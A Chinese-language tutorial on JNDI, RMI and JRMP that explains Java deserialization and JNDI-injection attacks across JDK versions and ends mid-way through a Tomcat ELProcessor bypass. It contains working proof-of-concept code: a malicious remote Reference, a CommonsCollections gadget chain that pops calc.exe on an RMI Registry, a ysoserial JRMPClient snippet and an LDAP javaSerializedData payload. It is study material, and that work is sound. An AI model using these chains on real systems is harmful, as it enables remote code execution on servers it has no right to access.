JNDI、RMI、JRMP一文总结
参考文章:https://xz.aliyun.com/news/6675#toc-0、https://xz.aliyun.com/news/6860、https://tttang.com/archive/1405/
概念
RMI 概念
RMI全称为Remote Method Invocation,翻译过来就是远程方法调用,通俗来说,就是跨JVM调用远程方法;与常规Java方法调用恰恰相反。
类似于HTTP接口调用,RMI也是调用,但是不同的是,调用的是Java方法。
即:RMI是一种行为,而该行为实际是Java远程方法调用。
JRMP 概念
JRMP全称为Java Remote Method Protocol,翻译过来就是Java远程方法协议,通俗来讲,就是一个在TCP/IP之上的线路层协议,一个RMI的过程,是用JRMP协议去组织数据格式然后通过TCP进行传输,最后达到RMI。
类似于HTTP,这也是一个协议,只是该协议仅用于Java RMI中。
即:JRMP是一个协议,是用于Java RMI过程中的协议,只有使用这个协议,方法调用双方才能正常的进行数据交流。
JNDI 概念
JNDI全称为Java Naming and Directory Interface,也就是Java命名和目录接口。既然是接口,那么就必定有其实现。目前Java中使用最多的基本就是RMI和LDAP的目录服务系统。
Naming(命令)的意思就是,在一个目录系统,实现了把一个服务名称和对象或命名引用相关联,在客户端,我们可以调用目录系统服务,并根据服务名称查询到相关联的对象或命名引用,然后返回给客户端。
Directory(目录)的意思就是,在命名的基础上,增加了属性的概念,我们可以想象一个文件目录中,每个文件和目录都会存在着一些属性,比如创建时间、读写执行权限等等,并且我们可以通过这些相关属性筛选出相应的文件和目录。
JNDI中的目录服务中的属性大概与之相似,因此,我们就可以在使用服务名称之外,通过一些关联属性查找到对应的对象。
即:JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,我们能通过名称等去找到相关的对象,并把它下载到客户端中来。
从攻击层面来分析
使用InitialContext lookup一个JNDI的RMI、LDAP服务导致反序列化RCE
先给出例子的代码:
public interface HelloService extends Remote {
String doAction(String args[]) throws RemoteException;
}
public class HelloServiceImpl extends UnicastRemoteObject implements HelloService {
protected HelloServiceImpl() throws RemoteException {
}
@Override
public String doAction(String args[]) throws RemoteException {
if (args != null){
System.out.println("hello, " + args[0]);
return "hello, " + args[0];
}else{
System.out.println("hello world!");
return "hello world!";
}
}
}
同时启动一个1099端口的Registry注册服务:
public class Main {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("hello", new HelloServiceImpl());
}catch (Exception e){
e.printStackTrace();
}
}
}
使用Java 1.8.0_131运行该程序。
然后再写一个程序。
public interface HelloService extends Remote {
String doAction(String args[]) throws RemoteException;
}
public class Main {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
HelloService service = (HelloService) registry.lookup("hello");
System.out.println(service.doAction(null));
}catch (Exception e){
e.printStackTrace();
}
}
}
启动程序,可以看到两个程序都输出了hello world!
。
接下来说说其整体过程:
- 第一个程序启动时,启动了一个RMI的注册中心,接着将HelloServiceImpl注册并暴露到了RMI注册中心
- 第二个程序启动后,连接RMI注册中心,利用JNDI根据名称
hello
查询到了对应的对象,并将其数据下载到本地 - 第二个程序下载的是一个Stub,根据Stub存储的信息(第一个程序中HelloServiceImpl实现暴露的IP和Port),通过JRMP协议发起RMI请求
- 接收到RMI请求后,第一个程序调用对应方法,输出
hello world!
并将方法返回值序列化返回给第二个程序 - 第二个程序将受到的值反序列化得到方法返回值
可以看到,第二个程序进行lookup
时,就会从Registry注册中心下载对应的数据,这里的下载是根据传入的Naming进行查找的。
如果想要进行RCE,可以向Registry注册Reference,Reference有三个参数,className
、factory
、classFactoryLocation
,当程序进行lookup
并下载时,如果Reference的classFactoryLocation
存在,就会下载这里的工厂类字节码并加载;然后尝试实例化一个工厂类用于生产目标类对象;因此在这里我们就能知道,如果将Reference的这个值设置为我们恶意类存放的地址,那么就可以通过这个来使得远程服务器加载Class从而RCE。
还是看例子:
public class Main
{
public static void main( String[] args )
{
try {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Evil","Evil","http://127.0.0.1:8080/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("hello",referenceWrapper);
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
} catch (NamingException e) {
e.printStackTrace();
}
}
}
第二个程序:
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException {
try {
new InitialContext().lookup("rmi://127.0.0.1:1099/hello");
} catch (NamingException e) {
e.printStackTrace();
}
}
}
注意,需要先将恶意类的Class文件放到本地HTTP8080端口下的根目录中。
此时可能出现问题:
javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
这是因为JDK8u121开始,Oracle开始设置默认系统变量com.sun.jndi.rmi.object.trustURLCodebase
为false
,这就导致通过RMI加载远程字节码不会被信任。
设置该系统变量的话可以发现能够成功加载恶意类字节码,但是一般来说对于攻击而言毫无意义。
绕过方式有两种:
- 使用LDAP服务取代RMI服务(8u191开始引入了JRP290,加入了反序列化类过滤)
- Tomcat-EL利用链,客户端需要存在依赖
tomcat-embed-el:V8.5.15
Registry自身被反序列化RCE
前面提到,在进行RMI时,返回值会被序列化传输给客户端,那么如果客户端连接到Registry并自己Bind呢?
来看一段代码:
public class Main {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}),
};
Transformer transformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map ouputMap = LazyMap.decorate(innerMap,transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(ouputMap,"pwn");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
try {
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry);
Map tmpMap = new HashMap();
tmpMap.put("pwn",badAttributeValueExpException);
Constructor<?> ctor = null;
ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
ctor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Override.class,tmpMap);
Remote remote = Remote.class.cast(Proxy.newProxyInstance(Main.class.getClassLoader(), new Class[] {Remote.class}, invocationHandler));
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
registry.bind("pwn",remote);
} catch (Exception e) {
e.printStackTrace();
}
}
}
上面的代码陌生可以看看这篇文章:Java反序列化
启动一个Registry,然后执行该程序,会发现注册中心弹出了计算器。
这实际上是因为在bind("pwn", remote)
这里,Java在传输对象数据时,使用了原生的序列化进行,而注册中心反序列化时就因为CC1链反序列化漏洞被RCE了。
JRMP互打
根据前面总结一下的话,其实可以发现,之所以能够利用反序列打服务端的话,是因为在传输数据时有序列化和反序列化,同样的,服务端也会返回数据,这个数据也是序列化后的,客户端收到也会反序列化。
这就不难理解为什么能够互打了。
- 服务端打客户端 ⇒ 客户端连上服务端时,服务端发送Payload给客户端
- 客户端打服务端 ⇒ 客户端使用JRMP协议直接发送Payload给服务端
打法总结
打Registry注册中心
从上面的Registry自身被反序列化RCE可以知道,在Client进行bind
对象时,会将对象序列化发送给Registry注册中心,因此如果这个对象被恶意构造,就可以通过反序列化打Registry注册中心了。
打InitialContext.lookup
通过JNDI的实现,一般通过rmi或者ldap的目录服务;具体的JDK版本打法会在后面的关于绕过篇章提及。
JRMP协议互打
在JRMP协议中,由于都存在对象的反序列化,因此无论是客户端打服务端还是服务端打客户端都是可行的。
如果是客户端打服务端,那么只需要客户端向服务端依据JRMP协议发送序列化的数据即可造成反序列化攻击;如果是服务端打客户端,那么就需要在客户端链接后,向客户端返回序列化数据造成客户端反序列化攻击。
从JDK不同版本源码来分析
RMI基础
RMI,即远程方法调用,通过这种技术可以跨越JVM,在不同的JVM中调用类方法。
而在使用RMI之前,我们则需要将被调用的类,先注册到一个RMI Registry的地方,相当于给这个类一个合法的身份证。调用者通过连接到RMI Registry,查询信息就能找到类所在JVM的ip以及对应的端口,从而通过网络实现远程方法的调用。
因此整个RMI服务实际至少有三个对象:调用者(客户端)、被调用者(服务端)、注册中心(RMI Registy)
在Java中创建一个Registry非常简单,只需要通过:LocateRegistry.createRegistry(1099);
服务端将一个类注册到Registry时,需要保证Registry可以访问到此类实现的接口,下面看个例子:
public interface HelloService extends Remote {
String sayHello() throws RemoteException;
}
public class HelloServiceImpl extends UnicastRemoteObject implements HelloService {
protected HelloServiceImpl() throws RemoteException {
}
@Override
public String sayHello() {
System.out.println("hello!");
return "hello!";
}
}
public class RMIServer {
public static void main(String[] args) {
try {
LocateRegistry.createRegistry("127.0.0.1", 1099).bind("hello", new HelloServiceImpl());
} catch (AlreadyBoundException | RemoteException e) {
e.printStackTrace();
}
}
}
这里我们需要说明的是,通过LocateRegistry.createRegistry("127.0.0.1", 1099)
,该方法签名中返回的是Registry对象,但是Registry实际是一个接口定义,它返回的实际上是其实现类sun.rmi.registry.RegistryImpl
。这个对象其内部还会有一个Ref,其类型为sun.rmi.server.UnicastServerRef
,我们通过调试可以看到详细:
在创建RegistryImpl
的过程中,RMI 会通过UnicastServerRef
自动导出一个远程存根(Stub),以支持客户端对注册表的远程访问。调试中看到的ref
是UnicastServerRef
对象,用于管理RegistryImpl
的网络通信和Stub
的生成。
然后通过实例化HelloServiceImpl
,由于继承了UnicastRemoteObject
,也会调用父类的构造方法,在UnicastRemoteObject
的构造方法中也会自动导出此类的Stub;在bind时则将此Stub序列化发送到RMI Registry存根。
上面的服务端和Registry共存,然后我们就可以通过客户端调用此接口的方法了:
public interface HelloService extends Remote {
String sayHello() throws RemoteException;
}
public class RMIClient {
public static void main(String[] args) {
try {
HelloService helloService = (HelloService) LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("hello");
System.out.println(helloService.sayHello());;
} catch (RemoteException | NotBoundException e) {
e.printStackTrace();
}
}
}
当客户端执行LocateRegistry.getRegistry
时,返回的是我们上面所说的Registry在创建时通过UnicastServerRef
自动导出一个远程存根(Stub),也就是sun.rmi.registry.RegistryImpl_Stub
,而lookup
时,则会从Registry中获取对应对象导出的Stub,数据被下载到本地进行反序列化得到Stub对象。
Stub对象封装并存储了所有RMI的信息,包括如何和服务端联系、通信细节等。
JDK < 8u121
创建RMI Registry,是使用LocateRegistry.createRegistry(1099);
来创建的,这个方法执行后,会创建一个监听在1099端口的ServerSocket,当RMI服务端执行bind时,会向Registry发送Stub序列化数据,最后在RMI Registry的sun.rmi.registry.RegistryImpl_Skel::dispatch
处理。
整体执行函数调用栈:
dispatch:-1, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:450, UnicastServerRef (sun.rmi.server)
dispatch:294, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1640924712 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)
来看一下bind方法:
public void bind(String var1, Remote var2) throws AccessException, AlreadyBoundException, RemoteException {
try {
RemoteCall var3 = super.ref.newCall(this, operations, 0, 4905912898345647071L);
try {
ObjectOutput var4 = var3.getOutputStream();
var4.writeObject(var1);
var4.writeObject(var2);
} catch (IOException var5) {
throw new MarshalException("error marshalling arguments", var5);
}
super.ref.invoke(var3);
super.ref.done(var3);
} catch (RuntimeException var6) {
throw var6;
} catch (RemoteException var7) {
throw var7;
} catch (AlreadyBoundException var8) {
throw var8;
} catch (Exception var9) {
throw new UnexpectedException("undeclared checked exception", var9);
}
}
调用ref
的newCall
方法,第三个参数为0(也就dispatch的case),第四个为固定制,用于匹配接口哈希;然后通过RemoteCall对象向RMI Registry写入了两个序列化对象。
在dispatch
中,对应case 0
的方法如下:
case 0:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var94) {
throw new UnmarshalException("error unmarshalling arguments", var94);
} catch (ClassNotFoundException var95) {
throw new UnmarshalException("error unmarshalling arguments", var95);
} finally {
var2.releaseInputStream();
}
var6.bind(var7, var8);
try {
var2.getResultStream(true);
break;
} catch (IOException var93) {
throw new MarshalException("error marshalling return", var93);
}
这里进行了反序列化,这样我们就可以通过RMI服务端去执行Bind,然后通过Java反序列化攻击RMI Registry注册中心,导致其RCE。
对于RMI客户端,其实执行lookup
方法中:
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);
try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var18) {
throw new MarshalException("error marshalling arguments", var18);
}
super.ref.invoke(var2);
Remote var23;
try {
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject();
} catch (IOException var15) {
throw new UnmarshalException("error unmarshalling return", var15);
} catch (ClassNotFoundException var16) {
throw new UnmarshalException("error unmarshalling return", var16);
} finally {
super.ref.done(var2);
}
return var23;
} catch (RuntimeException var19) {
throw var19;
} catch (RemoteException var20) {
throw var20;
} catch (NotBoundException var21) {
throw var21;
} catch (Exception var22) {
throw new UnexpectedException("undeclared checked exception", var22);
}
}
可以看到此时的case
为2,然后var3.writeObject(var1);
,向RMI Regsitry发送序列化数据,随后对RMI Regsitry返回的数据进行了反序列化var23 = (Remote)var6.readObject()
,即从理论上来说,我们可以发送恶意序列化数据使用客户端攻击RMI Registry或者通过RMI Registry去攻击客户端。
到这里其实已经搞明白了两个目标的攻击方法:
- RMI服务端使用bind方法主动攻击RMI Registry
- RMI客户端使用lookup方法主动攻击RMI Registry
- RMI Registry在客户端lookup时被动攻击客户端
现在还剩最后一个目标的攻击方法,即如何攻击服务端?
在上文说过,客户端lookup下载的是Stub,而Stub中存储了客户端与服务端的交流信息。
其实lookup
方法返回的是一个动态代理对象,真正的逻辑由RemoteObjectInvocationHandler
执行,其执行函数调用栈:
invoke:152, UnicastRef (sun.rmi.server)
invokeRemoteMethod:227, RemoteObjectInvocationHandler (java.rmi.server)
invoke:179, RemoteObjectInvocationHandler (java.rmi.server)
sayHello:-1, $Proxy0 (com.sun.proxy)
main:18, RMIClient (com.threedr3am.bug.rmi.client)
而在UnicastRef
的invoke
方法中,可以发现,对于远程调用的传参,实际上客户端会把参数进行序列化然后再传输到服务端,代码位于sun.rmi.server.UnicastRef::marshalValue
对于远程调用的结果,服务端返回的数据,客户端会对其进行反序列化,代码位于sun.rmi.server.UnicastRef#unmarshalValue
。
所以这里就已经很明确了,服务端会对客户端发来的调用参数进行反序列化、客户端会对服务端发来的调用结果进行反序列化;那么双方都通过这个实现反序列化攻击。
但是想要利用反序列化进行攻击,那么就得有一个可以用的gadget
。
在目标系统没有存在可用的gadget
时,我们就可以使用Reference
对象去进行攻击(Reference对象其实是JDK自带的一种gadget)。
样例代码:
Registry registry = LocateRegistry.getRegistry(1099);
//TODO 把resources下的Calc.class 或者 自定义修改编译后target目录下的Calc.class 拷贝到下面代码所示http://host:port的web服务器根目录即可
Reference reference = new Reference("Calc","Calc","http://localhost/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Calc",referenceWrapper);
这样客户端在Lookup时就会下载恶意Class并且loadClass加载恶意Class从而RCE。
还是从源码看原理,客户端执行new InitialContext().lookup("rmi://127.0.0.1:1099/Calc");
时会走到NamingManager.getObjectInstance
来获取一个对象实例:
public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception {
ObjectFactory factory;
// Use builder if installed
ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {
// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
return factory.getObjectInstance(refInfo, name, nameCtx,
environment);
}
// Use reference if possible
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}
Object answer;
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;
} else {
// if reference has no factory, check for addresses
// containing URLs
answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}
// try using any specified factories
answer =
createObjectFromFactories(refInfo, name, nameCtx, environment);
return (answer != null) ? answer : refInfo;
}
我们可以看到如果是一个Reference对象的话,首先判断工厂类名存不存在,如果存在则调用getObjectFactoryFromReference
获取对象工厂:
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;
// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.
// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}
这里可以看到,首先尝试在当前的ClassPath加载工厂类,如果加载失败,则通过helper.loadClass(factoryName, codebase)
加载远程类;所以我们的恶意类放在远程服务器上,作为工厂类的字节码,被加载即可RCE。
JDK == 8u121
在jdk8u121的时候,加入了反序列化白名单的机制,导致了几乎全部gadget都不能被反序列化了。
过滤的代码(RegistryImpl)如下:
private static Status registryFilter(FilterInfo var0) {
if (registryFilter != null) {
Status var1 = registryFilter.checkInput(var0);
if (var1 != Status.UNDECIDED) {
return var1;
}
}
if (var0.depth() > (long)REGISTRY_MAX_DEPTH) {
return Status.REJECTED;
} else {
Class var2 = var0.serialClass();
if (var2 == null) {
return Status.UNDECIDED;
} else {
if (var2.isArray()) {
if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)REGISTRY_MAX_ARRAY_SIZE) {
return Status.REJECTED;
}
do {
var2 = var2.getComponentType();
} while(var2.isArray());
}
if (var2.isPrimitive()) {
return Status.ALLOWED;
} else {
return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
}
}
}
}
可以看到是一个典型的白名单:
- String.class
- Number.class
- Remote.class
- Proxy.class
- UnicastRef.class
- RMIClientSocketFactory.class
- RMIServerSocketFactory.class
- ActivationID.class
- UID.class
但是这个白名单也不是不能打。
参考YSO的ysoserial.payloads.JRMPClient
:
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
可以看到其实都在白名单中,而这里绕过的思路实际上是UnicastRef
:
public class UnicastRef implements RemoteRef
public interface RemoteRef extends java.io.Externalizable
可以看到这个类间接地继承了java.io.Externalizable
,因此在反序列化此类时,会触发readExternal
方法执行,而这个方法又会一路走到DGCImpl_Stub
的dirty
方法,在这个方法中我们就能直接看到对返回数据的反序列化,所以通过这个Gadget能绕过白名单,但是也只是绕过了白名单,还是需要存在可攻击的gadget依赖才能攻击。
可以看到都在白名单内,这一个Payload发送给服务器前,需要在自己的服务器上使用JRMPListener启动监听,并且要有合适的链去进行攻击。具体分析不放在这讲了。
在8u121后,对于使用Reference加载远程代码,JDK信任机制会通过判断环境变量com.sun.jndi.rmi.object.trustURLCodebase
是否为true
然后再加载,但是在121版本后默认为false了,那就没有办法通过RMI去打客户端了。
使用LDAP协议的JNDI还可以继续攻击,例如new InitialContext().lookup("rmi://127.0.0.1:1099/Calc")
。
JDK >= 8u191
在jdk8u191之后呢,系统变量com.sun.jndi.ldap.object.trustURLCodebase
也为false了,这时,LDAP远程攻击代码也失效了。
此时,需要通过javaSerializedData
返回序列化的gadget
方式实现攻击。
在com.sun.jndi.ldap.Obj
中,方法decodeObject
:
static Object decodeObject(Attributes var0) throws NamingException {
String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));
try {
Attribute var1;
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
ClassLoader var3 = helper.getURLClassLoader(var2);
return deserializeObject((byte[])((byte[])var1.get()), var3);
} else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
} else {
var1 = var0.get(JAVA_ATTRIBUTES[0]);
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
}
} catch (IOException var5) {
NamingException var4 = new NamingException();
var4.setRootCause(var5);
throw var4;
}
}
这里可以看到判断了JAVA_ATTRIBUTES[1]
是否为空,这个参数实际上是:
static final String[] JAVA_ATTRIBUTES = new String[]{"objectClass", "javaSerializedData", "javaClassName", "javaFactory", "javaCodeBase", "javaReferenceAddress", "javaClassNames", "javaRemoteLocation"};
也就是名为javaSerializedData
的参数,也就是说,还可以通过修改LDAP服务直接返回javaSerializedData
参数的数据,从而达到RCE。
e.addAttribute("javaSerializedData", classData);
JNDI绕过方式
在上面已经或多或少提起过一部分的绕过方式了,有的有详细的说明,而随着国内攻防演习的开展,实际上低版本的JDK已经很少能遇见了,我们大部分讨论的都是在高版本JDK下,即禁用了RMI远程对象、LDAP远程对象后的情况等绕过方式。
常规的绕过方式是通过Tomcat的org.apache.naming.factory.BeanFactory
工厂类去调用 javax.el.ELProcessor#eval
方法或groovy.lang.GroovyShell#evaluate
方法,还有上文最后说的通过LDAP的 javaSerializedData
反序列化gadget。
接下来我们看一下这三种绕过方式。
Tomcat-ELProcessor绕过方式
请注意这需要Tomcat依赖。
此方式通过Tomcat的org.apache.naming.factory.BeanFactory
来构造javax.el.ELProcessor
;从上文我们知道com.sun.jndi.rmi.object.trustURLCodebase
在8u121后被默认设为了false,意味不能加载远程的工厂类字节码,我们看一下实现的核心位置:
private Object decodeObject(Remote r, Name name) throws NamingException {
try {
Object obj = (r instanceof RemoteReference)
? ((RemoteReference)r).getReference()
: (Object)r;
// Use reference if possible Reference ref = null;
if (obj instanceof Reference) {
ref = (Reference) obj;
} else if (obj instanceof Referenceable) {
ref = ((Referenceable)(obj)).getReference();
}
if (ref != null && ref.getFactoryClassLocation() != null &&
!trustURLCodebase) {
throw new ConfigurationException(
"The object factory is untrusted. Set the system property" +
" 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
}
return NamingManager.getObjectInstance(obj, name, this,
environment);
} catch (NamingException e) {
throw e;
} catch (RemoteException e) {
throw (NamingException)
wrapRemoteException(e).fillInStackTrace();
} catch (Exception e) {
NamingException ne = new NamingException();
ne.setRootCause(e);
throw ne;
}
}
可以看到这里通过判断了环境变量和是否设置了远程地址来限制,那么我们在Reference中不设置远程地址,就会通过这里进入到NamingManager.getObjectInstance
:
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{
ObjectFactory factory;
// Use builder if installed
ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {
// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
return factory.getObjectInstance(refInfo, name, nameCtx,
environment);
}
// Use reference if possible
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}
Object answer;
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;
} else {
// if reference has no factory, check for addresses
// containing URLs
answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}
// try using any specified factories
answer =
createObjectFromFactories(refInfo, name, nameCtx, environment);
return (answer != null) ? answer : refInfo;
}
在这里会通过getObjectFactoryFromReference
先获取工厂实例,然后通过工厂实例的getObjectInstance(ref, name, nameCtx, environment)
来获取一个对象示例,我们先看如何获取的工厂实例:
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;
// Try to use current class loader
try {
clas = helper.loadClassWithoutInit(factoryName);
// Validate factory's class with the objects factory serial filter
if (!ObjectFactoriesFilter.canInstantiateObjectsFactory(clas)) {
return null;
}
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.
// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
// Validate factory's class with the objects factory serial filter
if (clas == null ||
!ObjectFactoriesFilter.canInstantiateObjectsFactory(clas)) {
return null;
}
} catch (ClassNotFoundException e) {
}
}
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}
所以其实非常简单,只要这个类还会先检测一遍,也就是ObjectFactoriesFilter.canInstantiateObjectsFactory(clas)
,不过这个检测是根据jdk.jndi.object.factoriesFilter
这个系统属性来设置的,如果这个属性为null,那么会使用默认值*
,也就是允许所有的工厂类。
所以目前来说我们可以通过设置Factory来加载本地的工厂类了,那么又要如何通过它来构造对象呢?首先看BeanFactory的getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?,?> environment)
,不过这里的实现非常长,下面只截取其中的核心代码,另外需要指出的是,传递的四个参数从上面的代码return factory.getObjectInstance(ref, name, nameCtx, environment);
这里能看出来,传入的是ref、className、相关上下文以及环境:
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException {
if (obj instanceof ResourceRef) {
try {
Reference ref = (Reference)obj;
String beanClassName = ref.getClassName();
Class<?> beanClass = null;
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
beanClass = tcl.loadClass(beanClassName);
} catch (ClassNotFoundException var26) {
}
} else {
try {
beanClass = Class.forName(beanClassName);
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
if (beanClass == null) {
throw new NamingException("Class not found: " + beanClassName);
} else {
BeanInfo bi = Introspector.getBeanInfo(beanClass);
PropertyDescriptor[] pda = bi.getPropertyDescriptors();
// 无参构造方法实例化对象
Object bean = beanClass.getConstructor().newInstance();
// 通过forceString构造方法调用
RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap();
if (ra != null) {
String value = (String)ra.getContent();
Class<?>[] paramTypes = new Class[]{String.class};
for(String param : value.split(",")) {
param = param.trim();
int index = param.indexOf('=');
String setterName;
if (index >= 0) {
// 等号后为setter名字
setterName = param.substring(index + 1).trim();
// 等号前面为属性名
param = param.substring(0, index).trim();
} else {
// 没有等号则构造setter名
setterName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1);
}
try {
// 根据属性名放入setter方法,注意必须为一个String参数的setter方法
forced.put(param, beanClass.getMethod(setterName, paramTypes));
} catch (SecurityException | NoSuchMethodException var24) {
throw new NamingException("Forced String setter " + setterName + " not found for property " + param);
}
}
}
Enumeration<RefAddr> e = ref.getAll();
// 遍历所有的RefAddr
while(e.hasMoreElements()) {
ra = (RefAddr)e.nextElement();
// 获取属性名
String propName = ra.getType();
// 跳过特殊属性名
if (!propName.equals("factory") && !propName.equals("scope") && !propName.equals("auth") && !propName.equals("forceString") && !propName.equals("singleton")) {
// 获取属性值
String value = (String)ra.getContent();
Object[] valueArray = new Object[1];
// 通过属性名获取setter
Method method = (Method)forced.get(propName);
if (method != null) {
valueArray[0] = value;
try {
// 调用setter设置属性值
method.invoke(bean, valueArray);
} catch (IllegalArgumentException | InvocationTargetException | IllegalAccessException var23) {
throw new NamingException("Forced String setter " + method.getName() + " threw exception for property " + propName);
}
// ...
}
从这里我们可以知道,如果一个类拥有无参构造方法,且还有一个方法参数为String,并且此String经我们控制,可以造成任意代码执行的,那么我们就能结合BeanFactory绕过JNDI注入的限制。
而这样的类,在Tomcat中有一个,即javax.el.ELProcessor
,拥有无参构造方法,还有一个接受String的eval方法,通过传入的表达式,还能造成任意代码执行,是完美的对象。
现在我们来看看如何构造,参考上面的,首先必须是一个ResourceRef,然后通过设置forceString
我们固定调用方法为eval
,再添加RefAddr指定参数即可;构造如下:
Registry registry = LocateRegistry.createRegistry(1099);
